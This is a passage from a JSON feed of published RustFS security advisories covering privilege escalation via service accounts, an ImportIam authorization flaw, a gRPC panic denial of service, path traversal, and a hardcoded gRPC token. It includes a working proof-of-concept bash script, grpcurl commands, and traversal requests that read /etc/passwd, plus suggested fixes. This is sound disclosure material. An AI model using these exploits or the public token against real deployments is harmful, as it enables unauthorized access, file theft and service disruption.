`rustfsadmin/rustfsadmin`. Run:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ===================== Config =====================\nENDPOINT=\"${ENDPOINT:-http://127.0.0.1:9000}\"\nROOT_AK=\"${ROOT_AK:-rustfsadmin}\"\nROOT_SK=\"${ROOT_SK:-rustfsadmin}\"\nPARENT_AK=\"${PARENT_AK:-restricted}\"\nPARENT_SK=\"${PARENT_SK:-restricted123}\"\nCHILD_AK=\"${CHILD_AK:-evilchild}\"\nCHILD_SK=\"${CHILD_SK:-evilchild123}\"\nAWS_REGION=\"${AWS_REGION:-us-east-1}\"\n\n# Tools\nAWSCURL_BIN=\"${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}\"\nAWS_BIN=\"${AWS_BIN:-aws}\"\nJQ_BIN=\"${JQ_BIN:-jq}\"\n\n# Disable proxies for local endpoint\nexport HTTP_PROXY=\nexport HTTPS_PROXY=\nexport NO_PROXY=127.0.0.1,localhost\n\n# ===================== Helpers =====================\naws_cmd() {\n  local ak=\"$1\" sk=\"$2\"\n  shift 2\n  AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \"$AWS_BIN\" --endpoint-url \"$ENDPOINT\" \"$@\"\n}\n\nawscurl_admin() {\n  local ak=\"$1\" sk=\"$2\"\n  shift 2\n  AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \\\n    \"$AWSCURL_BIN\" --service s3 --region \"$AWS_REGION\" --access_key \"$ak\" --secret_key \"$sk\" \"$@\"\n}\n\ntimestamp_iso() {\n  python - \u003c\u003c'PY'\nimport datetime\nprint((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())\nPY\n}\n\n# ===================== Cleanup =====================\necho \"[+] cleanup service accounts (ignore errors)\"\nfor ak in \"$CHILD_AK\" \"$PARENT_AK\"; do\n  awscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X DELETE \"$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak\" \u003e/dev/null 2\u003e\u00261 || true\ndone\n\necho \"[+] cleanup buckets\"\nfor b in bucket1 bucket2 bucket3; do\n  aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 rb \"s3://$b\" --force \u003e/dev/null 2\u003e\u00261 || true\ndone\n\n# ===================== Setup =====================\necho \"[+] create buckets\"\nfor b in bucket1 bucket2 bucket3; do\n  aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 mb \"s3://$b\" || true\ndone\n\necho \"[+] seed bucket3 with marker object\"\nprintf \"poc-marker\\n\" | aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 cp - s3://bucket3/poc-marker.txt\n\nEXP=\"$(timestamp_iso)\"\n\necho \"[+] create restricted policy\"\nRESTRICTED_POLICY='{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\"s3:ListBucket\"],\n      \"Resource\": [\"arn:aws:s3:::bucket1\", \"arn:aws:s3:::bucket2\"]\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\"s3:GetObject\", \"s3:PutObject\"],\n      \"Resource\": [\"arn:aws:s3:::bucket1/*\", \"arn:aws:s3:::bucket2/*\"]\n    }\n  ]\n}'\n\necho \"[+] create restricted service account\"\nawscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n  -H 'Content-Type: application/json' \\\n  -d \"$(\"$JQ_BIN\" -nc --arg ak \"$PARENT_AK\" --arg sk \"$PARENT_SK\" --arg policy \"$RESTRICTED_POLICY\" --arg exp \"$EXP\" \\\n      '{accessKey:$ak, secretKey:$sk, policy:$policy, name:\"restricted-sa\", expiration:$exp}')\" \\\n  \u003e /tmp/restricted_sa.json\ncat /tmp/restricted_sa.json\n\necho \"[+] list buckets as restricted (expect bucket1,bucket2 only)\"\naws_cmd \"$PARENT_AK\" \"$PARENT_SK\" s3 ls\n\necho \"[+] create child service account without policy (trigger deny_only)\"\nawscurl_admin \"$PARENT_AK\" \"$PARENT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n  -H 'Content-Type: application/json' \\\n  -d \"$(\"$JQ_BIN\" -nc --arg ak \"$CHILD_AK\" --arg sk \"$CHILD_SK\" --arg exp \"$EXP\" \\\n      '{accessKey:$ak, secretKey:$sk, name:\"child-sa\", expiration:$exp}')\" \\\n  \u003e /tmp/child_sa.json\ncat /tmp/child_sa.json\n\necho \"[+] child tries to list bucket3 (should be denied; success means vuln)\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 ls s3://bucket3; then\n  echo \"child list bucket3: SUCCESS (vuln)\"\nelse\n  echo \"child list bucket3: DENIED\"\nfi\n\necho \"[+] child tries to read marker from bucket3\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then\n  echo \"child read marker: SUCCESS (vuln). Content:\"\n  cat /tmp/poc-marker.txt\nelse\n  echo \"child read marker: DENIED\"\nfi\n\necho \"[+] child tries to write new object into bucket3\"\nif printf \"child-write\\n\" | aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp - s3://bucket3/child-write.txt; then\n  echo \"child write: SUCCESS (vuln)\"\nelse\n  echo \"child write: DENIED\"\nfi\n\n```\n\nPoC steps (in `poc.sh`):\n\n1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with `poc-marker.txt`.\n2) Create restricted policy (List/Get/Put only on bucket1/2).\n3) Create restricted service account `restricted/restricted123` with that policy.\n4) With `restricted`, create child service account `evilchild/evilchild123` **without policy** (deny_only short-circuit).\n5) With `evilchild`, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.\n\nResult:\n\n```text\n./poc.sh\n[+] cleanup service accounts (ignore errors)\n[+] cleanup buckets\n[+] create buckets\nmake_bucket: bucket1\nmake_bucket: bucket2\nmake_bucket: bucket3\n[+] seed bucket3 with marker object\n[+] create restricted policy\n[+] create restricted service account\n{\"credentials\":{\"accessKey\":\"restricted\",\"secretKey\":\"restricted123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] list buckets as restricted (expect bucket1,bucket2 only)\n2025-12-16 18:51:16 bucket1\n2025-12-16 18:51:16 bucket2\n[+] create child service account without policy (trigger deny_only)\n{\"credentials\":{\"accessKey\":\"evilchild\",\"secretKey\":\"evilchild123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] child tries to list bucket3 (should be denied; success means vuln)\n2025-12-16 18:51:17         11 poc-marker.txt\nchild list bucket3: SUCCESS (vuln)\n[+] child tries to read marker from bucket3\ndownload: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt\nchild read marker: SUCCESS (vuln). Content:\npoc-marker\n[+] child tries to write new object into bucket3\nchild write: SUCCESS (vuln)\n```\n\n## Impact\n\nPrivilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-01-08T20:40:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-xgr5-qc6w-vcg9","https://nvd.nist.gov/vuln/detail/CVE-2026-22043","https://github.com/advisories/GHSA-xgr5-qc6w-vcg9"],"source_kind":"github","identifiers":["GHSA-xgr5-qc6w-vcg9","CVE-2026-22043"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-08T21:00:10.785Z","updated_at":"2026-10-05T15:05:51.522Z","epss_percentage":0.00419,"epss_percentile":0.34006,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z3I1LXFjNnctdmNnOc4ABQ3V","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Z3I1LXFjNnctdmNnOc4ABQ3V","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.79","vulnerable_version_range":"\u003e= 1.0.0-alpha.13, \u003c= 1.0.0-alpha.78"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z3I1LXFjNnctdmNnOc4ABQ3V/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Y3doLXBmZjktNjRjY84ABQ3U","url":"https://github.com/advisories/GHSA-vcwh-pff9-64cc","title":"RustFS has IAM Incorrect Authorization in ImportIam that Allows Privilege Escalation","description":"### Summary\n\nThe `ImportIam` admin API validates permissions using **`ExportIAMAction`** instead of **`ImportIAMAction`**, allowing a principal with *export-only* IAM permissions to perform *import* operations. Since importing IAM data performs privileged **write** actions (creating/updating users, groups, policies, and service accounts), this can lead to **unauthorized IAM modification and privilege escalation**.\n\n---\n\n### Details\n\nIn `ImportIam`, the authorization check is implemented as follows:\n\n```rust\nvalidate_admin_request(\n    \u0026req.headers,\n    \u0026cred,\n    owner,\n    false,\n    vec![Action::AdminAction(AdminAction::ExportIAMAction)],\n).await?;\n```\n\nHowever, this code resides in the **Import IAM** operation (`struct ImportIam {}`), which performs **state-changing IAM writes**.\n\nThe expected behavior is to validate against **`AdminAction::ImportIAMAction`** (or an equivalent import-specific admin action), not `ExportIAMAction`.\n\n---\n\n### PoC\n\n**Prerequisites**\n\n1. A RustFS deployment with IAM enabled.\n2. An IAM user or role that has **Export IAM** permission but **does not** have Import IAM or full admin permissions.\n3. Access credentials for that user.\n\n**Steps**\n\n1. Create or obtain an IAM principal with permission equivalent to:\n\n   ```\n   AdminAction::ExportIAMAction\n   ```\n\n   and without Import IAM privileges.\n\n2. Prepare a valid IAM import ZIP archive containing, for example:\n\n   * A new policy granting administrative permissions\n   * A user or service account bound to that policy\n\n3. Send a request to the Import IAM endpoint (the same endpoint handled by `ImportIam::call`), authenticating with the export-only credentials.\n\n4. Observe that:\n\n   * The request passes authorization.\n   * IAM entities from the archive are created or modified successfully.\n\n**Expected Result**\n\n* The request should be rejected with an authorization error (e.g., AccessDenied).\n\n**Actual Result**\n\n* The request succeeds, and IAM state is modified.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-01-08T20:36:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-vcwh-pff9-64cc","https://nvd.nist.gov/vuln/detail/CVE-2026-22042","https://github.com/advisories/GHSA-vcwh-pff9-64cc"],"source_kind":"github","identifiers":["GHSA-vcwh-pff9-64cc","CVE-2026-22042"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-08T21:00:10.785Z","updated_at":"2026-10-05T15:05:51.522Z","epss_percentage":0.00435,"epss_percentile":0.35512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Y3doLXBmZjktNjRjY84ABQ3U","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Y3doLXBmZjktNjRjY84ABQ3U","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.79","vulnerable_version_range":"\u003c 1.0.0-alpha.79"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Y3doLXBmZjktNjRjY84ABQ3U/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ndzJ4LXE3MzktcWhjcs4ABQzt","url":"https://github.com/advisories/GHSA-gw2x-q739-qhcr","title":"RustFS gRPC GetMetrics deserialization panic enables remote DoS","description":"### Summary\nA malformed gRPC `GetMetrics` request causes `get_metrics` to `unwrap()` failed deserialization of `metric_type`/`opts`, panicking the handler thread and enabling remote denial of service of the metrics endpoint.\n\n### Details\n- Vulnerable code: `rustfs/src/storage/tonic_service.rs:1775-1782`:\n  - `MetricType` and `CollectMetricsOpts` are deserialized with `Deserialize::deserialize(...).unwrap()` from client-supplied bytes.\n  - Malformed `metric_type`/`opts` (e.g., empty or truncated rmp-serde payloads) trigger `InvalidMarkerRead` and panic.\n- Reachability: same TCP listener as S3 (default `:9000`); only a static interceptor token `authorization: rustfs rpc` is checked in `server/http.rs:677`.\n- Impact scope: panic terminates the worker handling the request, causing metrics service interruption and potential process instability.\n\n### PoC\n\n[rustfs-grpc-metrics-invalid-metric-type-panic-poc.tar.gz](https://github.com/user-attachments/files/24038341/rustfs-grpc-metrics-invalid-metric-type-panic-poc.tar.gz)\n\n\n1) Start RustFS (example local dev):\n```bash\nmkdir -p /tmp/rustfs-data1 /tmp/rustfs-data2\nRUSTFS_ACCESS_KEY=devadmin RUSTFS_SECRET_KEY=devadmin \\\n  cargo run --bin rustfs -- --address 0.0.0.0:9000 \\\n  /tmp/rustfs-data1 /tmp/rustfs-data2\n```\n2) From `rustfs-grpc-metrics-invalid-metric-type-panic-poc/`, run:\n```bash\nENDPOINT=127.0.0.1:9000 make run\n# or: grpcurl -plaintext \\\n#   -H 'authorization: rustfs rpc' \\\n#   -import-path ../crates/protos/src -proto node.proto \\\n#   -d '{\"metric_type\":\"\",\"opts\":\"\"}' \\\n#   127.0.0.1:9000 node_service.NodeService/GetMetrics\n```\n3) Observe panic in server logs at `tonic_service.rs:get_metrics` with `InvalidMarkerRead` and worker crash; client output saved to `poc-response.txt`/`poc-grpcurl.log`.\n\n### Impact\n- Vulnerability type: remote unauthenticated (static token) denial of service via panic in gRPC handler.\n- Who is impacted: any deployment exposing the gRPC endpoint where an attacker can reach port 9000 and supply the known `authorization: rustfs rpc` header; metrics service is disrupted and may affect overall stability depending on runtime crash handling.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-01-07T18:36:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-gw2x-q739-qhcr","https://github.com/rustfs/rustfs/commit/eb33e82b56ed11fd12bb39416359d8d60737dc7a","https://nvd.nist.gov/vuln/detail/CVE-2025-69255","https://github.com/advisories/GHSA-gw2x-q739-qhcr"],"source_kind":"github","identifiers":["GHSA-gw2x-q739-qhcr","CVE-2025-69255"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-07T19:00:07.353Z","updated_at":"2026-10-05T15:05:51.583Z","epss_percentage":0.00337,"epss_percentile":0.24813,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndzJ4LXE3MzktcWhjcs4ABQzt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ndzJ4LXE3MzktcWhjcs4ABQzt","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.78","vulnerable_version_range":"\u003e= 1.0.0-alpha.13, \u003c= 1.0.0-alpha.77"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndzJ4LXE3MzktcWhjcs4ABQzt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcTI5LTY5amctOW14Y84ABQzQ","url":"https://github.com/advisories/GHSA-pq29-69jg-9mxc","title":"RustFS Path Traversal Vulnerability","description":"# RustFS Path Traversal Vulnerability\n\n## Vulnerability Details\n\n- **CVE ID**: \n- **Severity**: Critical (CVSS estimated 9.9)\n- **Impact**: Arbitrary File Read/Write\n- **Component**: `/rustfs/rpc/read_file_stream` endpoint\n- **Root Cause**: Insufficient path validation in `crates/ecstore/src/disk/local.rs:1791`\n\n### Vulnerable Code\n\n```rust\n// local.rs:1791 - No path sanitization!\nlet file_path = volume_dir.join(Path::new(\u0026path)); // DANGEROUS!\ncheck_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length\nlet mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;\n```\n\nThe code uses `PathBuf::join()` without:\n- Canonicalization\n- Path boundary validation\n- Protection against `../` sequences\n- Protection against absolute paths\n\n## Proof of Concept\n\n### Test Environment\n\n- **Target**: RustFS v0.0.5 (Docker container)\n- **Endpoint**: `http://localhost:9000/rustfs/rpc/read_file_stream`\n- **RPC Secret**: `rustfsadmin` (from RUSTFS_SECRET_KEY)\n- **Disk ID**: `/data/rustfs0`\n- **Volume**: `.rustfs.sys`\n\n### Attack Scenario\n\n#### Exploit Parameters\n\n```\ndisk: /data/rustfs0\nvolume: .rustfs.sys\npath: ../../../../etc/passwd  # Path traversal payload\noffset: 0\nlength: 751  # Must match file size\n```\n\n#### Required Authentication\n\nRPC requests require HMAC-SHA256 signature:\n\n```python\n# Signature format: HMAC-SHA256(secret, \"{url}|{method}|{timestamp}\")\nHeaders:\n  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))\n  x-rustfs-timestamp: Unix timestamp\n```\n\n### Successful Exploits\n\n#### 1. Read `/etc/passwd` ✅\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0\u0026volume=.rustfs.sys\u0026path=../../../../etc/passwd\u0026offset=0\u0026length=751\nx-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=\nx-rustfs-timestamp: 1766482485\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[... 15 more lines ...]\nrustfs:x:10001:10001::/home/rustfs:/sbin/nologin\n```\n\n**Impact**: Full user account enumeration\n\n---\n\n#### 2. Read `/etc/hosts` ✅\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0\u0026volume=.rustfs.sys\u0026path=../../../../etc/hosts\u0026offset=0\u0026length=172\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\n127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\n[...]\n172.20.0.3\td25e05a19bd2\n```\n\n**Impact**: Network configuration disclosure\n\n---\n\n#### 3. Read `/etc/hostname` ✅\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0\u0026volume=.rustfs.sys\u0026path=/etc/hostname\u0026offset=0\u0026length=13\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\nd25e05a19bd2\n```\n\n**Impact**: System information disclosure\n\n---\n\n## Technical Analysis\n\n### Data Flow\n\n```\n1. HTTP Request\n   ↓\n2. RPC Signature Verification (verify_rpc_signature)\n   ↓\n3. Find Disk (find_local_disk)\n   ↓\n4. Read File Stream (disk.read_file_stream)\n   ↓\n5. VULNERABLE: volume_dir.join(Path::new(\u0026path))\n   ↓\n6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd\n              → /etc/passwd\n```\n\n### Path Traversal Mechanism\n\n```rust\n// Example traversal:\nvolume_dir = PathBuf::from(\"/data/rustfs0/.rustfs.sys\")\npath = \"../../../../etc/passwd\"\n\n// PathBuf::join() resolves to:\nfile_path = \"/data/rustfs0/.rustfs.sys/../../../../etc/passwd\"\n          = \"/etc/passwd\"  // Successfully escaped!\n```\n\n### Why It Works\n\n1. **No Canonicalization**: Code doesn't use `canonicalize()` before validation\n2. **No Boundary Check**: No verification that final path is within volume_dir\n3. **PathBuf::join() Behavior**: Automatically resolves `../` sequences\n4. **Length-Only Validation**: `check_path_length()` only checks string length\n\n### Special Considerations\n\n- **File Size Constraint**: The `length` parameter must exactly match file size\n  - Code validates: `file.len() \u003e= offset + length`\n  - Otherwise returns `DiskError::FileCorrupt`\n- **Volume Requirement**: Volume/bucket must exist (e.g., `.rustfs.sys`)\n- **Disk Requirement**: Disk must be registered in `GLOBAL_LOCAL_DISK_MAP`\n\n## Impact Assessment\n\n### Confidentiality Impact: HIGH\n\n- ✅ Read arbitrary files (demonstrated)\n- ✅ Read system configuration files (`/etc/passwd`, `/etc/hosts`)\n- ⚠️ Potential to read:\n  - SSH keys (`/root/.ssh/id_rsa`)\n  - Application secrets\n  - RustFS configuration files\n  - Environment variables from `/proc`\n\n### Integrity Impact: HIGH\n\n- ⚠️ Similar vulnerability exists in `put_file_stream` (not tested)\n- ⚠️ Arbitrary file write likely possible\n- ⚠️ Could write to:\n  - Cron jobs\n  - authorized_keys\n  - System binaries (if permissions allow)\n\n### Availability Impact: MEDIUM\n\n- ⚠️ `walk_dir` endpoint could enumerate entire filesystem\n- ⚠️ Potential DoS via recursive directory traversal\n\n## Exploitation Requirements\n\n### Prerequisites\n\n1. **Network Access**: Ability to reach RustFS RPC endpoints\n2. **RPC Secret Knowledge**: Knowledge of RUSTFS_SECRET_KEY\n   - Default: `\"rustfs-default-secret\"`\n   - Production: From environment variable or config\n3. **Disk/Volume Knowledge**: Valid disk ID and volume name\n4. **File Size Knowledge**: Exact file sizes for successful reads\n\n### Attack Complexity\n\n- **Without Secret**: Impossible (signature verification)\n- **With Secret**: Trivial (automated script)\n- **With Default Secret**: Critical risk if not changed\n\n## Mitigation Recommendations\n\n### Immediate Actions (Priority 0)\n\n1. **Path Canonicalization**\n```rust\nasync fn read_file_stream(\u0026self, volume: \u0026str, path: \u0026str, ...) -\u003e Result\u003cFileReader\u003e {\n    let volume_dir = self.get_bucket_path(volume)?;\n\n    // CRITICAL FIX:\n    let file_path = volume_dir.join(Path::new(\u0026path));\n    let canonical = file_path.canonicalize()\n        .map_err(|_| DiskError::FileNotFound)?;\n\n    // Validate path is within volume_dir\n    if !canonical.starts_with(\u0026volume_dir) {\n        error!(\"Path traversal attempt detected: {:?}\", path);\n        return Err(DiskError::InvalidArgument);\n    }\n\n    // Continue with validated path...\n}\n```\n\n2. **Path Component Validation**\n```rust\n// Reject dangerous path components\nif path.contains(\"..\") || path.starts_with('/') {\n    return Err(DiskError::InvalidArgument);\n}\n```\n\n3. **Use path-clean Crate**\n```rust\nuse path_clean::PathClean;\n\nlet cleaned_path = PathBuf::from(\u0026path).clean();\nif cleaned_path.to_string_lossy().contains(\"..\") {\n    return Err(DiskError::InvalidArgument);\n}\n```\n\n### Additional Security Measures\n\n4. **Audit Logging**: Log all RPC file operations with full paths\n5. **Rate Limiting**: Prevent DoS via repeated RPC calls\n6. **Secret Rotation**: Ensure unique RPC secrets per deployment\n7. **Network Segmentation**: Restrict RPC endpoint access\n8. **Security Testing**: Add path traversal tests to test suite\n\n### Long-term Improvements\n\n9. **Chroot Jail**: Isolate RPC operations in chroot environment\n10. **Least Privilege**: Run RustFS with minimal file system permissions\n11. **Security Audit**: Comprehensive review of all file operations\n\n## Proof of Concept Script\n\nThe complete PoC is available at: `exploit_path_traversal.py`\n\n### Usage\n\n```bash\n# Ensure RustFS is running\ndocker compose ps\n\n# Run exploit\npython3 exploit_path_traversal.py\n```\n\n### Output\n\n```\n[+] SUCCESS! Read 751 bytes\n[+] File content:\n================================================================================\nroot:x:0:0:root:/root:/bin/sh\n[... full /etc/passwd content ...]\n================================================================================\n```\n\n## Acknowledgements\n\nRustFS would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability.\n\nAcknowledgements: RustFS would like to thank @realansgar and  **bilisheep** from the **Xmirror Security Team** for providing the security report.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-07T18:15:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-pq29-69jg-9mxc","https://github.com/rustfs/rustfs/commit/ab752458ce431c6397175d167beee2ea00507d3e","https://nvd.nist.gov/vuln/detail/CVE-2025-68705","https://github.com/advisories/GHSA-pq29-69jg-9mxc"],"source_kind":"github","identifiers":["GHSA-pq29-69jg-9mxc","CVE-2025-68705"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-07T19:00:07.353Z","updated_at":"2026-10-05T15:05:51.583Z","epss_percentage":0.07261,"epss_percentile":0.9417,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcTI5LTY5amctOW14Y84ABQzQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcTI5LTY5amctOW14Y84ABQzQ","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.79","vulnerable_version_range":"\u003e= 1.0.0-alpha.13, \u003c= 1.0.0-alpha.78"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcTI5LTY5amctOW14Y84ABQzQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oOTU2LXJoN3gtcHBnas4ABQaS","url":"https://github.com/advisories/GHSA-h956-rh7x-ppgj","title":"RustFS has a gRPC Hardcoded Token Authentication Bypass","description":"## Vulnerability Overview\n\n### Description\n\nRustFS implements gRPC authentication using a hardcoded static token `\"rustfs rpc\"` that is:\n1. **Publicly exposed** in the source code repository\n2. **Hardcoded** on both client and server sides\n3. **Non-configurable** with no mechanism for token rotation\n4. **Universally valid** across all RustFS deployments\n\nAny attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes.\n\n### CVSS 3.1 Score\n\n**Score**: 9.8 (Critical)\n**Vector**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n- **Attack Vector (AV)**: Network - Exploitable remotely\n- **Attack Complexity (AC)**: Low - No special conditions required\n- **Privileges Required (PR)**: None - No authentication needed (bypassed)\n- **User Interaction (UI)**: None - Fully automated exploitation\n- **Scope (S)**: Unchanged - Impact contained to vulnerable component\n- **Confidentiality (C)**: High - Complete data disclosure\n- **Integrity (I)**: High - Complete data modification capability\n- **Availability (A)**: High - Complete service disruption capability\n\n---\n\n## Vulnerable Code Analysis\n\n### Server-Side Authentication (rustfs/src/server/http.rs:679-686)\n\n```rust\n#[allow(clippy::result_large_err)]\nfn check_auth(req: Request\u003c()\u003e) -\u003e std::result::Result\u003cRequest\u003c()\u003e, Status\u003e {\n    let token: MetadataValue\u003c_\u003e = \"rustfs rpc\".parse().unwrap();  // ⚠️ HARDCODED!\n\n    match req.metadata().get(\"authorization\") {\n        Some(t) if token == t =\u003e Ok(req),\n        _ =\u003e Err(Status::unauthenticated(\"No valid auth token\")),\n    }\n}\n```\n\n**Issues**:\n- Static token hardcoded as string literal\n- No configuration mechanism (environment variable, file, etc.)\n- Token visible in public GitHub repository\n- Identical across all installations\n\n### Client-Side Authentication (crates/protos/src/lib.rs:153-174)\n\n```rust\npub async fn node_service_time_out_client(\n    addr: \u0026String,\n) -\u003e Result\u003cNodeServiceClient\u003c...\u003e, Box\u003cdyn Error\u003e\u003e {\n    let token: MetadataValue\u003c_\u003e = \"rustfs rpc\".parse()?;  // ⚠️ SAME HARDCODED TOKEN!\n\n    // ...\n\n    Ok(NodeServiceClient::with_interceptor(\n        channel,\n        Box::new(move |mut req: Request\u003c()\u003e| {\n            req.metadata_mut().insert(\"authorization\", token.clone());\n            Ok(req)\n        }),\n    ))\n}\n```\n\n**Issues**:\n- Client uses identical hardcoded token\n- No secure token distribution mechanism\n- Token cannot be rotated without code changes\n\n### Service Integration (rustfs/src/server/http.rs:520-521)\n\n```rust\nlet rpc_service = NodeServiceServer::with_interceptor(make_server(), check_auth);\nlet service = hybrid(s3_service, rpc_service);\n```\n\nThe `check_auth` interceptor is applied to all gRPC services via `NodeServiceServer::with_interceptor`, protecting **all 50+ gRPC methods** in `node.proto` with the same weak authentication.\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n**Test Environment**:\n- RustFS Server: `localhost:9000` (HTTP + gRPC hybrid service)\n- RustFS Console: `localhost:9001`\n- Container: `rustfs/rustfs:latest` (Docker Compose deployment)\n- Default credentials: `rustfsadmin/rustfsadmin`\n\n**Tools Required**:\n- `grpcurl` v1.9.3+ (gRPC command-line client)\n- RustFS proto files: `crates/protos/src/node.proto`\n\n### Step 1: Verify Authentication is Enforced\n\n**Test 1.1: Request without authentication token**\n\n```bash\n$ grpcurl -plaintext \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d '{}' \\\n    localhost:9000 node_service.NodeService/Ping\n```\n\n**Expected Result**: ✅ Authentication failure\n\n```\nERROR:\n  Code: Unauthenticated\n  Message: No valid auth token\n```\n\n**Test 1.2: Request with incorrect token**\n\n```bash\n$ grpcurl -plaintext \\\n    -H 'authorization: wrong-token-12345' \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d '{}' \\\n    localhost:9000 node_service.NodeService/Ping\n```\n\n**Expected Result**: ✅ Authentication failure\n\n```\nERROR:\n  Code: Unauthenticated\n  Message: No valid auth token\n```\n\n**Conclusion**: Authentication is properly enforced - 